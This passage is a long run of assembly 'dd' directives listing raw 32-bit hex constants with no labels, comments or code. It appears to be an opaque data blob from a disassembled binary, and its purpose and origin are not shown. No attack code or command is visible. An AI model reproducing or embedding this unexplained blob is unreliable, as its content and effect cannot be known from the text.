		dd 28800D9Fh, 4EB0254Dh, 17F9B8D9h, 52E54453h, 0FA7E522Ah
		dd 6A863EA3h, 0EE05A933h, 2CFA6C38h, 0FC0E4F82h, 872621Dh
		dd 0C117F60Ah, 955ACFA4h, 338E0B0Ch, 6F1F4C0Eh,	5DACD7D1h
		dd 3CAD9861h, 0CAA4436Ch, 36EB3C00h, 0E9652741h, 0B2454B42h
		dd 8A804A55h, 44073719h, 384FE931h, 30788EF3h, 68896A43h
		dd 0D2AC5DC8h, 8A1F055Eh, 0B3026549h, 0D571E854h, 0E9213534h
		dd 0EBA1EA28h, 99EFED3Bh, 0AD010B70h, 0B1643F53h, 0E985D0BEh
		dd 68B76680h, 0B95B3908h
		dd 9AFEA75Dh, 1D9EDE49h, 784705ECh, 0F0F112F7h,	0E529E9D1h
		dd 8708CF7Bh, 5629127Ah, 7E50AE50h, 24EA8098h, 0C4FA2CE0h
		dd 12BE5E6Eh, 95043D06h, 1E9BF487h, 0D7409375h,	0BE9D5297h
		dd 0E8050017h, 8C5249F1h, 408CE310h, 0E6975DCFh, 0E1E620BFh
		dd 0A7685E0Ch, 49702719h, 0DC847BCCh, 7F590932h, 56D59785h
		dd 0BEBADE1h, 0D7C0ED01h, 0C1582C1Ah, 0EE23A320h, 4BFDFCC7h
		dd 523DA31Ah, 49925C6h,	97FABEFCh, 0AA6BA27Ch, 0C35A7EDAh
		dd 0F47F9222h, 0B85C2538h, 0F092F153h, 863E922Fh, 412597E0h
		dd 2AC74B5h, 0B4EC7184h, 604B1AFh, 177DBD52h, 0CAAE72F6h
		dd 7A503F6Eh, 0F8B67D4Fh, 1783ED9h, 0A83D6855h,	0CE25D28h
		dd 277B067Ah, 563ED70Ch, 0BD0A4FF1h, 0C3408C2h,	3A061413h
		dd 0EC71F72Fh, 0E8790CFBh, 0C1C40145h, 0A94208A2h, 0E1497AA6h
		dd 3799E106h, 0B383D9Fh, 380AFFFCh, 41B6A5F7h, 0E6BCD852h
		dd 0E3295613h, 24A6D7F2h, 1EC2B51Ch, 0CBC24EBh,	0E1F33633h
		dd 0CC278996h, 0BFA020DAh, 780FDB90h, 6B72F807h, 0C58B917Bh
		dd 4EBFA82Fh, 9CD7CAF2h, 21125CB8h, 0D629FFD0h,	0C4C9B27Fh
		dd 2822F733h, 4B7F296Ah, 0E9430C62h, 8022823Ch,	0F62FF527h
		dd 0EE31FD5h, 0FF124DA9h, 0A94B2FB3h, 7FA5DE09h, 0F39740BCh
		dd 0D98D8AE0h, 977257Bh, 0BFBD4C21h, 0DC4B0C7Ch, 2C870967h
		dd 8B13C5F5h, 0E4779377h, 308C2003h, 511EB805h,	0DF801B73h
		dd 0FEAF060Ah, 0BF96400Dh, 2A6FF802h, 77474F10h, 4A847F7Ch
		dd 3681BA07h, 0C51298A3h, 3ECD585Dh, 2698D529h,	3D681A71h
		dd 0A56F5BBEh, 0A440A4A7h, 8850E0F2h, 90E3E4D4h, 0EA3425CFh
		dd 591C757h, 0F8CD2D82h, 778748A1h, 9F8A464Ah, 1861BBD3h
		dd 8E3A31B6h, 0EA1D1607h, 0D4D607F2h, 67A0FBB8h, 4D882DE9h
		dd 4157FCA9h, 0DD022939h, 66497450h, 0E4A86701h, 0C48D2EBh
		dd 92A07DAh, 160599AEh,	5DE9688Eh, 59174895h, 0AB5FD1FDh
		dd 0E02AFB6Dh, 0C85631CCh, 87542792h, 0F19282DDh, 4AC47A62h
		dd 0BE278056h, 0CD7EDB18h, 898E039Dh, 85A02CD8h, 83F7A52Bh
		dd 856688D9h, 55CDDDFEh, 1D9AAE6Dh, 3561AF5Fh, 8102C187h
		dd 8E1ED2E0h, 4156222Ch, 568A470Bh, 74B1609Dh, 402F2C99h
		dd 270B0156h, 89D4CD41h, 895A4BD3h, 3AB902D7h, 2E4F93E1h
		dd 2F7754B2h, 0B1285461h, 0DCF22FECh, 60335790h, 0B9D76F34h
		dd 0FB2BE231h, 555D0922h, 510BC6C6h, 58700E28h,	0DCFC953Ch
		dd 58F41D30h, 0FA184BBDh, 31AA545h, 906A3CEAh, 0BAE3444Fh
		dd 91ABCD17h, 0D158E4DBh, 2FEF610Ch, 0E44CE9C7h, 6780FABEh
		dd 94F19ECCh, 0DCFB0AEh, 8D083809h, 0ABDE0207h,	0EB560487h
		dd 0B55EB0F4h, 1F332678h, 0B2AC1018h, 56370B7h,	0F9142FB9h
		dd 0F4D7F11Bh, 5DB27122h, 2D685F09h, 20A8664Eh,	0BC807536h
		dd 0A3B912C9h, 30FC2D93h, 934B14E3h, 0E3A4DCBCh, 4DE25FCh
		dd 94AE5818h, 973DABD1h, 1A44EE2Fh, 16D12E38h, 69CA6EDh
		dd 55DD1FC3h, 0A45EEB57h, 7E411107h, 0E8B44687h, 754C780h
		dd 59EB57E3h, 125D9677h, 4576F968h, 622BB3FFh, 7729E583h
		dd 942D6670h, 72ECF6D0h, 8877C555h, 42246938h, 0FEB013BCh
		dd 6C1939AFh, 3E91742h,	0A8FA7E08h, 0E5B70F62h,	9AC5F888h
		dd 0C09BEAFBh, 0CC26A248h, 0E20FCF05h, 0EE285744h, 7EFCC25h
		dd 9B0128Dh, 3672A2ABh,	31DD1AC0h, 60E916B6h, 5BBA6520h
		dd 375C2239h, 6094003Fh, 49E91A4Fh, 0DBF6B744h,	5A47DA72h
		dd 537DC257h, 9F4EC54Ch, 0BBE61393h, 77249E45h,	296825D1h
		dd 77E812C8h, 39D8F680h, 0C625012Ch, 0A0348C40h, 89D3E92Fh
		dd 0EF03FF32h, 0AF0216B2h, 6B6568B6h, 0FEFBC401h, 956E9A1Bh
		dd 70E41CF7h, 67C35B5Ch, 9468643Ch, 0CAD980AAh,	612D320Dh
		dd 29D80348h, 7271077Ah, 0A3461C78h, 66026374h,	0B72317BDh
		dd 0A8F842FBh, 0E602AE2Dh, 75035C9Dh, 6429B88Ah, 58660186h
		dd 42F6D528h, 0C69875E8h, 905EB753h, 0C00E8EBCh, 5ACBF730h
		dd 0E94165FCh, 680260CFh, 7E140DF6h, 80E32DB4h,	0B151AC91h
		dd 0EE504EFAh, 0CBBF9DD4h, 0F2CB7611h, 0A4757E3h, 0DCE16992h
		dd 8888D1EEh, 0D7CB61CAh, 90ED6385h, 0E3814337h, 0E51ADB0Bh
		dd 2C30560Ch, 0AD4005Ah, 0CB31215Dh, 0B4950CB5h, 52EC4069h
		dd 575A95ECh, 77C123ECh, 34AB9608h, 844A588Bh, 69EE89AAh
		dd 0A048A1h, 11C918CAh,	240EF81h, 0E9099D0Fh, 0EE7F2DBFh
		dd 7010F644h, 9C7D9775h, 1E5C95A3h, 9AF5E0F0h, 0ABC4394Dh
		dd 1420F4A6h, 257FE7E5h, 8965C96h, 54BFDBFAh, 0B7C60FCh
		dd 0B58C2F25h, 637799C0h, 5DA1384Ah, 682B027Bh,	40D1538Eh
		dd 870B9683h, 0FC275FF2h, 0E9CB6174h, 8F785273h, 0B95B9BC5h
		dd 2552856Eh, 82E9E133h, 0B6B7AB3h, 2F103CE5h, 0A165084h
		dd 602FD687h, 3060AD03h, 9C0C2321h, 3D0219B0h, 0FA42ED05h
		dd 2DC24166h, 25C10744h, 0BF000AB6h, 0F4004BDEh, 77CF8154h
		dd 0BD3E2C60h, 62D0743h, 9DB0D806h, 0AB096BDAh,	5CF29259h
		dd 0B52D00B8h, 682F405Eh, 18019927h, 2C480AD6h,	0A82F2B81h
		dd 33921F07h, 0CB05813Eh, 0F84C6638h, 7A12DF0h,	64D87E5Eh
		dd 0FFB76E47h, 2F1B25C1h, 2CD03131h, 0C0536C1h,	9FB90958h
		dd 0C07C59BFh, 39F1A396h, 0C969F82Bh, 580AC17Bh, 732DB86Eh
		dd 8E28010Fh, 2ACBE54Dh, 0E8928BE9h, 0ECC81054h, 95FB9A40h
		dd 0BCD1BB09h, 206FDB49h, 0BF6BB2EDh, 6ADA3C56h, 19445F17h
		dd 1F2A8922h, 6F79D5EAh, 0C29400DCh, 0E2D84A08h, 0DA5C97EAh
		dd 31C8C2h, 8F34E3B9h, 289F4650h, 2FB05017h, 4FC2E601h
		dd 0CAF075D4h, 7D672598h, 97F89FDh, 0ECC75AB6h,	0A2145A2Dh
		dd 3B55D514h, 0FACC4AD4h, 0FF7D53E0h, 7C920B78h, 917F61C2h
		dd 0AB3E66EAh, 95362939h, 57B96802h, 765D46B3h,	0A7015900h
		dd 0A642DD0Dh, 0EF227C55h, 7D3E85B5h, 0F71823DEh, 376768C8h
		dd 3CF3F983h, 898B8C68h, 7F44B2D5h, 0FA9FDFF2h,	28477E98h
		dd 0B50826E5h, 20251CDEh, 2D7B7D47h, 0BADE9F3Ah, 0E9050CC8h
		dd 485636C3h, 227FF290h, 4CB8B0A4h, 609F88F0h, 0A0569920h
		dd 70D837h, 0F18176BBh,	19A3384Ch, 971100BFh, 0B86F1848h
		dd 593B4004h, 36C78019h, 0FEF0AC06h, 138B9A3h, 0CE8DF393h
		dd 82C53929h, 0D44B5EE9h, 60565944h, 0A9F6101h,	55517C98h
		dd 0BFE354F8h, 0BBEE3718h, 5E500ECBh, 0E57F72F8h, 4074E957h
		dd 0E7C557EBh, 51BDE905h, 0BE6A38FAh, 0AA0844E1h, 7CB05917h
		dd 32B60968h, 0DD3DCDh,	35569335h, 960CC17Ah, 206D1D52h
		dd 0E02F69Bh, 8914981Eh, 0C6D3D7F5h, 507A20C9h,	0C1607475h
		dd 0D7A679DEh, 6E816BE8h, 800072E4h, 0C07926E1h, 0C11C0576h
		dd 0F6CEFEECh, 4C98DD9h, 0E8032F61h, 769AE4Bh, 52872F1h
		dd 0ECD6B522h, 7CAD3C66h, 3A901B74h, 0BF57D814h, 48A4808h
		dd 9D754F3h, 7F5E2C82h,	6A6B0880h, 3F29E97Dh, 0B403BC69h
		dd 0DA1F9E19h, 0A6F67113h, 0FBC007Ah, 5485109h,	38712000h
		dd 642B250Ch, 0FE215098h, 0BDCB4F07h, 503E84DFh, 815F3FE3h
		dd 13F4DD1h, 0CC6AA868h, 6701B296h, 0C049EA80h,	0D56005E2h
		dd 0FAC6BF4Fh, 93FDD0F2h, 0B7BE303Ch, 14E9856Fh, 86B88CD0h
		dd 48786Bh, 135D8F7h, 9AF98C6h,	0D9A9C34Fh, 0D70A33E2h
		dd 28BA0C16h, 534F5926h, 0FD84778Ch, 55E96DECh,	4030F0C5h
		dd 40A74173h, 8A4B608h,	0C41AF795h, 55092358h, 0E615AF68h
		dd 33A220C6h, 0F58BB02h
		dd 7D01A5A7h, 5FFBC203h, 26700D4Ch, 8DCC2550h, 3D5112B1h
		dd 0A0D80977h, 0B075C6E2h, 0A82039D4h, 1A74EAFCh, 0C668227h
		dd 27B8F275h, 0E45CB2A6h, 0E394094Fh, 273BE9ADh, 7953F552h
		dd 40032DA7h, 1C4F2DFBh, 0F16D4E8h, 0B61BD1AEh,	316BE13Fh
		dd 92333E87h, 66115829h, 0B6F9EB25h, 66E2881h, 18F08150h
		dd 451C2F63h, 94F7A7C2h, 0BEC7040Dh, 0F961470Ch, 0A5084192h
		dd 0AFC0DC1Ch, 0C7D3197Ch, 966675C9h, 0A0390C20h, 0A44268Dh
		dd 33584127h, 0B46B97A0h, 2D176753h, 84F92BE4h,	0D2990873h
		dd 0E909D41Bh, 2DCA60A9h, 307A19A5h, 4305E028h,	0C8C25A07h
		dd 9E12545Dh, 0BFD125Eh, 0C02B6A9Fh, 8719467Ch,	967CDB16h
		dd 26DC5B26h, 0F88B5A8Ch, 0F8A9B712h, 0CD101A8Bh, 0C41B3E9h
		dd 2832D0EFh, 10719DE8h, 0F884E98Bh, 0DECCBD14h, 7FF634A2h
		dd 0CF2D1420h, 432FAED8h, 40ED318h, 0A8FEE20Ch,	0FC78A1D7h
		dd 431352E6h, 0E4EB3123h, 0A06F694Dh, 4C84143Ch, 0A22D80E3h
		dd 0F29A0DB0h, 36E5B7C6h, 0A5C1E98Bh, 5181BE20h, 0EBE83580h
		dd 1F51BD52h, 6F7205BCh, 0FEA43DAh, 0A898835Dh,	74C98F3h
		dd 0E307763Fh, 539F1F4Ah, 0C75C3C0h, 291E27B3h,	81433DCAh
		dd 24381E94h, 2C41DC8h,	0BCF081FEh, 0CECD2E2Ch,	8960BE2Ah
		dd 40DB3106h, 3C4BD61Dh, 18F02AD0h, 7AF097C6h, 0AC6B4F0Ch
		dd 3E570C43h, 113654Dh,	84610CEh, 4140C68h, 0B59366E9h
		dd 99212E03h, 0BD009D82h, 0B412554Eh, 67005202h, 7B354D75h
		dd 93F09BAh, 8BDD3A5Ah,	8875749Ch, 502790FEh, 0A8562015h
		dd 0D67DF880h, 0EC77FAFBh, 77B800F6h, 55A1502h,	0A1247471h
		dd 0C20030CFh, 810F2F39h, 11461DE1h, 20D7A7D3h,	0C819762Bh
		dd 4B88079h, 551F213h, 0A7AF87BBh, 1BB06BD3h, 97CF6ACAh
		dd 336EE4FEh, 0EFEE8005h, 0B3000DCBh, 0C0C3FE45h, 949502EBh
		dd 0D0B10BF4h, 8680CB08h, 0DE30B6EBh, 513A8B60h, 0A4ECA1E9h
		dd 0F6DA253Eh, 1509BDF9h, 8844F112h, 6C2F1119h,	0B6AA92CEh
		dd 685DF075h, 70BC66EAh, 0F52D1A6Eh, 52162AD9h,	4DE59205h
		dd 175026CCh, 616A1268h, 635F2876h, 0C22D02D1h,	0E166F67Fh
		dd 4D2D3316h, 7A3D2005h, 621CC02Ah, 34C0E36h, 55D41DC6h
		dd 0C10B0724h, 553E6258h, 8788C3CCh, 0F79C3108h, 37466884h
		dd 9DC4CEACh, 98E2FEF5h, 0AC88FA4Bh, 1C9FF329h,	0A194F4B2h
		dd 5EF76DFh, 517E7BB6h,	0AA1A81EFh, 0D815F956h,	2717EBCAh
		dd 0AC2C4996h, 787E0068h, 875D2059h, 0E91349CDh, 0E907A7Bh
		dd 4ABC33C8h, 0C1BEC270h, 5AD50889h, 22E92D80h,	0EC304A40h
		dd 4DE60B90h, 0DF70C6E6h, 33E9E609h, 0D0F4683Bh, 52668089h
		dd 0A0246AC9h, 21D36883h, 595B3E49h, 4A43587Fh,	0E773EAA4h
		dd 0DEE5F5E9h, 82DE26A5h, 0D2CD4F58h, 8581F46Fh, 0A12B2341h
		dd 6C612B3Ch, 0CA2AE451h, 0CE251003h, 6A29FF4Fh, 0C047BEFCh
		dd 0BAA2C5ABh, 17CCF42h, 64BA719Dh, 0F2EE52B6h,	0AC680BEBh
		dd 579A1A70h, 2FEF2C5Eh, 8F76DFEh, 5682D372h, 67586FE9h
		dd 91F38007h, 0C353CBFEh, 0F64AEA20h, 0E15B2729h, 5702382Ah
		dd 7A6412BFh, 3A6E401Ch, 16BE3909h, 159CF96h, 0FE6D38BCh
		dd 0E95F001Eh, 0D0F09D9Ah, 4FAF094Fh, 0FC8450DCh, 7FDDCD58h
		dd 246BC5D9h, 0AEDEE90h, 8872E909h, 37E9795Dh, 167FDB72h
		dd 0D0A6C143h, 3E20BC1Bh, 75BFE013h, 33AD8247h,	5DE2D102h
		dd 8832B7E0h, 62EB6E40h, 5F290F35h, 592FE17Ch, 0F100E920h
		dd 3BAE2725h, 6DEC78C2h, 0FB45C040h, 0AE4B4A5Fh, 0B7238041h
		dd 0D0DB1BEDh, 6F5C0174h, 55E20C44h, 7D075347h,	51233273h
		dd 806A5E4h, 0E5148B0Ch, 0B9CD2012h, 24A1AA44h,	2FB38E6Bh
		dd 5598DF5Ch, 63BA33BAh, 0DFF742B5h, 0F70907D1h, 4E3881DEh
		dd 132E1BE9h, 0ABE4BE6Eh, 0A8214AFDh, 94D7B112h, 6BBCB67Bh
		dd 51EA398Ah, 92C0E9DCh, 0C9810EC3h, 53258FFh, 0D0DD454Ah
		dd 531804D3h, 0D8011F0Ah, 712F0705h, 6C93C20Ch,	0D986BB77h
		dd 9B2F5134h, 6B681A5Ch, 165AFDEFh, 6C7E0F00h, 3DF68142h
		dd 0EC8E5B51h, 8B987E54h, 8C186A60h, 5787E685h,	0BC5EAF01h
		dd 0D650B2C1h, 0A7E78B8Ah, 207ED709h, 0BE44A204h, 0A32D80BBh
		dd 14B63418h, 0B929D802h, 961D60Eh, 0CEF961DEh,	69A20FA2h
		dd 3ACF5D7Ch, 0BC260A40h, 3E52710Ch, 4B0F2568h,	51C2AEF6h
		dd 0F2E911B9h, 96D7056Ah, 0C439E37h, 0EDC9BF0Ch, 0F3C7092Ch
		dd 2CB92D07h, 10AE2734h, 5D0507EDh, 8DBFACE9h, 8B57E68Ch
		dd 0ECE657EFh, 5A90C25Ch, 0CE502FCh, 0F5732E10h, 1B39D30Eh
		dd 3CE5C0F6h, 0C13D787Bh, 182A2E18h, 96BA4005h,	1369245Eh
		dd 0BDB6D20Ch, 0ED3D0BC0h, 0B7534AC0h, 0F5A0B4D6h, 5489DDEEh
		dd 0FEAF167Fh, 5A00B594h, 23358EB8h, 2EED227Ah,	48BB8B00h
		dd 9775C371h, 0E20166D4h, 7B36CDEh, 5F98C140h, 0BC3F4BCDh
		dd 39EEE4CAh, 0DCD16AC4h, 6582180Ah, 0D82212F0h, 0A512565Dh
		dd 0E9E166D9h, 0F9384DC2h, 0EEEF53D3h, 20E91138h, 0F4BD5FF0h
		dd 779F831Bh, 0CCF1793Ch, 28B36B64h, 0B2F5212Dh, 6BC2F7CEh
		dd 0EFBE83F7h, 577824DBh, 71DE0427h, 84FBC482h,	0C72F00CBh
		dd 19D262ECh, 57619E99h, 496A20E9h, 93DFEFF9h, 0D4EFB40Ch
		dd 1002F818h, 6809ABDBh, 425965B9h, 1010388Ch, 0E8799DB8h
		dd 0C4F441Fh, 70B9EB58h, 0AF5F5BCEh, 5B9F3057h,	4B5AF712h
		dd 41875086h, 0DDB8A251h, 8C1D73FFh, 0C6BD32AFh, 452B7909h
		dd 0FAF8D706h, 445B0881h, 8A98828Fh, 0CAC25405h, 505BFF3Dh
		dd 2F265746h, 0C2F174FBh, 9A994F3Dh, 76E9C484h,	0A1CE1846h
		dd 60031F13h, 50110B55h, 7E1DCF68h, 0F1ED3171h,	0B3F05563h
		dd 53465B76h, 0E7F6110h, 7E2E16BFh, 0E1A5D35Eh,	13492B8Bh
		dd 7EC650E1h, 0C78D5EC3h, 6DF58B95h, 0F8079348h, 40A74FE7h
		dd 7355C3C9h, 0A8DD2F6Bh, 4612A10Ah, 0FC9269F8h, 5251A089h
		dd 0B1F704B2h, 0AAD128E1h, 0CD17EEE2h, 77D9BA95h, 0AF33CC2Ah
		dd 0BCA34A4Bh, 0BE9DD412h, 9F102EA2h, 0C3EC5B50h, 7922A78h
		dd 17D994B0h, 29CC8134h, 1807FEEh, 80051ABAh, 4C0678C1h
		dd 0CE3156F2h, 414DDFC8h, 615A65E3h, 29328F46h,	1FEDC7Dh
		dd 79436DF1h, 48CEE945h, 1EFE0578h, 8912935Ch, 255C2002h
		dd 0DE2AF7A0h, 524F8D59h, 0CC2B17F1h, 5B6166B2h, 3225F671h
		dd 492008FDh, 0AE3E4A53h, 124EA4CBh, 0C3A7EF2Eh, 0F908E918h
		dd 354B5D68h, 0C57FA227h, 74AA3C79h, 0E86DC33h,	0B99DBE5Bh
		dd 203D8A92h, 0A2EF57E2h, 0C629D607h, 8FE45258h, 4F68BD90h
		dd 9FD936Eh, 3FA91DBCh,	66DA88D7h, 72BA528Bh, 1D50BF13h
		dd 7AB4CCC0h, 92D75EAh,	71F62C3Fh, 0A3F80C05h, 489869DBh
		dd 826754BAh, 2DB1785Dh, 0FEA057FCh, 3104F5Fh, 13F04950h
		dd 196BE209h, 6079D729h, 4BE7E970h, 6877C87Bh, 5B2A7238h
		dd 296739BBh, 4A47C41Fh, 41D52D0Bh, 0A87A054Ch,	0BD681356h
		dd 311766F9h, 7431AEB0h, 406B2BAAh, 0A7592348h,	0A8C34E6Ch
		dd 0F8B1971Ch, 9F2C0DE9h, 76258DC6h, 76291209h,	895725FCh
		dd 0A1FCD850h, 2D41370Dh, 0A22E02C6h, 0CBBF96CDh, 7EC140E2h
		dd 0BF2B5181h, 0B82F212Dh, 6818D81Ah, 0E1186469h, 0AB68D572h
		dd 7600CED5h, 0D008EEC0h, 3E6828E6h, 0B03AC75Eh, 3E8F314h
		dd 5C05AEB3h, 0C628342Ch, 0BBD565FBh, 97803A0Fh, 0E9F09B01h
		dd 0FE505C8Ch, 1D7825E3h, 0A4C17B7Ah, 91CB019Ch, 0FC548E08h
		dd 28180AEBh, 0EE0C4F1Dh
		dd 0E3F927FBh, 0FF973778h, 1C607C83h, 525AF200h, 7EF16856h
		dd 5E6B2875h, 57A30BCBh, 689FA6Fh, 5B4CA778h, 0E5C1B09Ch
		dd 0C109B405h, 0F030D279h, 0D4BF5CE9h, 0BB583CAh, 0ABD96C9Eh
		dd 0F4B90098h, 126A1E40h, 4905CBC1h, 6CA02BF8h,	2A7A94BBh
		dd 0C889501Ch, 0F713C296h, 0C5844EAAh, 709D0BE0h, 275FE868h
		dd 213BEC30h, 9DC1B713h, 0EBA32B14h, 39E5E463h,	8AF30987h
		dd 0FF398B47h, 0E9860915h, 80DF63D0h, 920F3DF4h, 6ED1BD61h
		dd 0DE8D850Bh, 755AF394h, 0E9AC14E8h, 0B3F4735Ah, 200498F5h
		dd 0D0B53C9Dh, 0A420BDFCh, 25245BC3h, 125E647Bh, 5F9B82C7h
		dd 660BADB4h, 5A037B68h, 77534C03h, 50D80B10h, 0F4B55EE5h
		dd 1308ACD6h, 6BA387AAh, 5BFD1CB2h, 181DAC7Bh, 0EBC79756h
		dd 0CA102438h, 8E3561D3h, 7DC6011Dh, 291C7275h,	1A744FEh
		dd 57685F08h, 0BAC34C78h, 0EC446601h, 5AB3E97Fh, 6564FA2Bh
		dd 0D9744A87h, 7AAED5D1h, 0B724530Ch, 0E925CF37h, 2A9EC9h
		dd 3EE05FBh, 20B06E70h,	5A9B1B54h, 0E0F03177h, 21EB415Fh
		dd 3350BBFEh, 37BD0366h, 0E963041Bh, 0A27D4D9Ch, 1FB9E95Ah
		dd 3A49F229h, 589C7F9Dh, 16B42EFCh, 76D0BA01h, 0E86F54DCh
		dd 7FF200B8h, 5617396Eh, 0A2D65889h, 8B58D63h, 46D482BAh
		dd 71C1351Dh, 0C5310211h, 0C0EAEDF0h, 334AEF6Fh, 5B7C5662h
		dd 0A7A0EE2Dh, 0D7DBA6E8h, 3190C9ECh, 3DC34134h, 2BE66DC0h
		dd 0B5CBFA28h, 9EB8751Eh, 0D35F3058h, 0E9C713EBh, 0A94D7FC6h
		dd 0D36800FEh, 5F8862BDh, 6F96D31h, 0E4A16A2Ah,	322EB261h
		dd 4C778960h, 3BE91678h, 5E6DBA26h, 5942CB2Bh, 8DBA4A0Bh
		dd 2427EF67h, 0EB1A5F5Bh, 5396987Dh, 0BD37BA67h, 2B2A881h
		dd 6E696079h, 5D6B5144h, 0D727B549h, 0F2F0E79Ah, 0F97C35Dh
		dd 4B0F780h, 0A896CB15h, 5B0506F2h, 100D7219h, 0EE47A180h
		dd 0CDD7C6FFh, 0D5EAF25h, 4D129E4h, 0A24EBA0h, 0DDF60BD5h
		dd 2A82B353h, 0BBD5041Dh, 1B91D9AAh, 28817465h,	285CB533h
		dd 3A4420DDh, 0FD6F5A81h, 2170843Bh, 9007DBA9h,	0B21D8816h
		dd 2749E046h, 2578DC47h, 0BDC946BDh, 0D01B450Ah, 63625B68h
		dd 0DA344093h, 6EA905A2h, 0A0591108h, 0C53B5210h, 0DEC90264h
		dd 0DE2A1A25h, 57C10181h, 3EF1236Bh, 5DE81890h,	0E9531C52h
		dd 0BEBBED75h, 0FAF476DAh, 72F35627h, 3FC2C0F6h, 81DCC18h
		dd 6DDC6850h, 3F65D76Bh, 0B9682A8Ah, 9B27A740h,	0AD80976Eh
		dd 0F753545Bh, 124ADA30h, 4C5E3FEEh, 0C6011555h, 0E939E766h
		dd 0BAC67406h, 0B905C209h, 18F7662h, 7E0EBD55h,	9E806F1Eh
		dd 0B2C602Ah, 52E4E978h, 0BF889DD9h, 0BAB9015Fh, 2B776650h
		dd 6AC3118Ch, 1416042h,	722D70DAh, 0BDDE4255h, 4E086801h
		dd 825A303Eh, 62607165h, 12D5D76h, 9D0B068h, 67050375h
		dd 10D73C40h, 5D250227h, 0A9A3D1A0h, 0DDA037BBh, 7F3F62C8h
		dd 0A54C2D2Eh, 80BAD9E7h, 71676D33h, 0F33881E4h, 6A097BE4h
		dd 56B057E9h, 17D780Bh,	4F17A902h, 0D48403E9h, 6D68616Fh
		dd 0C7E3074Bh, 0FB6D5EFAh, 8BC3C427h, 30181D2Fh, 48DAC9C3h
		dd 0CBDFBC25h, 0CCE90B6Fh, 2E322C8Ch, 37EE4AA1h, 0FC8194EFh
		dd 478F0D57h, 0A4EF8924h, 1BB44ABh, 2EAAC2EBh, 0E6EAEF0Eh
		dd 9DFA4DCh, 3B3517E5h,	0AF10C27Ch, 0B28B403Ch,	29032947h
		dd 4B516DD6h, 0ED55CEF4h, 278CA4F7h, 97229677h,	667411D7h
		dd 7144FB3Ah, 8EBA175Fh, 0DEE9826Fh, 178C4C5Ah,	717E8A68h
		dd 0BF9BE992h, 2E039527h, 50282EA4h, 32F7EA40h,	47D76ABh
		dd 593AB7CAh, 7B8A805Fh, 5A5F3FBFh, 1123DB8h, 0CC2507F1h
		dd 0E9251044h, 45C95D93h, 0BDE1DFF2h, 0F991215Fh, 3A843F44h
		dd 136D8BEEh, 9A94A035h, 20E7F2FAh, 31490B81h, 44D71FBCh
		dd 740A82DEh, 0FC2D5851h, 0EE142F28h, 0C7E3C55Fh, 893C542Eh
		dd 0F985D829h, 684B9025h, 28FE70C3h, 8F69C0F6h,	8CF9DF24h
		dd 0D902C348h, 0DF78963Bh, 2608C928h, 56AA127Fh, 0BC91645h
		dd 7CCE3373h, 0EF2D18C5h, 0A689B9ACh, 95F43D29h, 97270628h
		dd 1795D83Dh, 958C709h,	0F171E283h, 74F0D864h, 0AD709BFh
		dd 815F6CBCh, 5FBA656Dh, 7760A26Bh, 78512727h, 42C8828Ah
		dd 0E9547D77h, 22B70820h, 0C80C13FEh, 5F87EB8Ch, 65F51D28h
		dd 0E946C660h, 0A036B025h, 0BE56022Dh, 38611AE0h, 6F48920Ah
		dd 350F77BDh, 6101169Eh, 0FC88BB5Dh, 0EA3AF2D1h, 0DE892561h
		dd 0B1C6AD40h, 5F1002Ch, 50E96857h, 5F143D85h, 274EFE21h
		dd 0CD3808F3h, 954001C6h, 2171555h, 324E685Ch, 59867848h
		dd 0DB702181h, 25A1B410h, 9554B45Eh, 40A732DDh,	0B8453A01h
		dd 4F3FB062h, 0F0298C0Ch, 5B953C24h, 0E46F500h,	30550AFAh
		dd 623A5D5Bh, 29F21B33h, 88299B2h, 0F5EE880Eh, 0DA655F1Dh
		dd 8072EE9h, 0E06A8456h, 0DB50F6EBh, 0FB879CCh,	0E3E8F25Ah
		dd 148F01E4h, 60539D6Ch, 0DC9100Eh, 7CC7701h, 4E4C3195h
		dd 27E655F2h, 6C3DFC2Eh, 2D2F5DA8h, 0D4D9E822h,	0DBF9BF15h
		dd 0B91CFD49h, 0E4C8FAA8h, 0A1545180h, 0EB64570Ah, 1CC109B9h
		dd 2F00309Ch, 109201F5h, 5EF12113h, 6C7DEA06h, 30EF066Fh
		dd 0F01EE150h, 6B162317h, 3150761Dh, 1C4F2109h,	0C51E3A51h
		dd 0D56297E0h, 0AC77675Dh, 0DF645A87h, 2148449h, 400E68BBh
		dd 2CCDC3Ah, 6E0C5C20h,	6BE8A461h, 0AE5E3FA7h, 0C69122Ah
		dd 624F53DDh, 475D53CAh, 297D2F60h, 0EF977ABh, 0D4532012h
		dd 393AA0EEh, 669A1463h, 53A60F59h, 1D85A6B7h, 288CBB45h
		dd 36579D57h, 9AE918E9h, 0D6F63249h, 5AEE801Bh,	0F5088106h
		dd 0DFC5FED8h, 0FAB87B04h, 5210A958h, 5E565076h, 0DA4AF6B5h
		dd 52D7F657h, 1302EC77h, 0AA208AE9h, 7D291272h,	38980372h
		dd 7E0105EBh, 3D4C64BEh, 3480F838h, 58C60890h, 0F44C509Dh
		dd 8DCE5028h, 0A7A825E9h, 0A7BCB8D1h, 0A307F2B6h, 61FD9A98h
		dd 916F7C83h, 2324BF73h, 3B754FBh, 2D81B05Ch, 0C1CD7E99h
		dd 7069868h, 0F5E05BE5h, 49C3132Dh, 352AFE7h, 1C0C38AEh
		dd 78723A80h, 45B48D1h,	7205A9E0h, 9C12B58h, 57ED22ADh
		dd 2C645880h, 0E918620Dh, 5A74A9E4h, 0D0D99755h, 0D1447D5Ah
		dd 20741D2Fh, 3F0CDC47h, 1129022h, 0B394DFCCh, 0F977E405h
		dd 0AAA17B42h, 0F6E90701h, 5494D37Eh, 2355B1B9h, 0CAEA4A91h
		dd 0D8AB2596h, 0CE9E975Ah, 0D74E0F98h, 0BA419B8h, 0EC0028CBh
		dd 331E055Eh, 1C807A62h, 163B5F8Fh, 2D720ED9h, 44E677B4h
		dd 4473D1B5h, 4EA9FC30h, 545ADEC2h, 25FDC290h, 29DFC0Bh
		dd 496D5CA9h, 982A705h,	74968A7Eh, 9674F80Ah, 0FA096802h
		dd 0DCE2610Dh, 0EC4AEB64h, 342B4C18h, 29FA0CD3h, 6403B213h
		dd 0F280DAF6h, 3CD2AB10h, 0E219670Ah, 760C09h, 61EAC0ACh
		dd 36E92C04h, 0E4B9552Ah, 8041BD54h, 77E10D47h,	0B42B3715h
		dd 98780FCDh, 0C1E4EF7Eh, 2F833613h, 0A131480Fh, 0D7016FAFh
		dd 0D0081CA0h, 5A25141Ch, 9374B3FDh, 0E6EE844Ch, 0E8876FEFh
		dd 0C2010B23h, 0EFC79D04h, 11E8C631h, 6864212Ah, 268D7BA7h
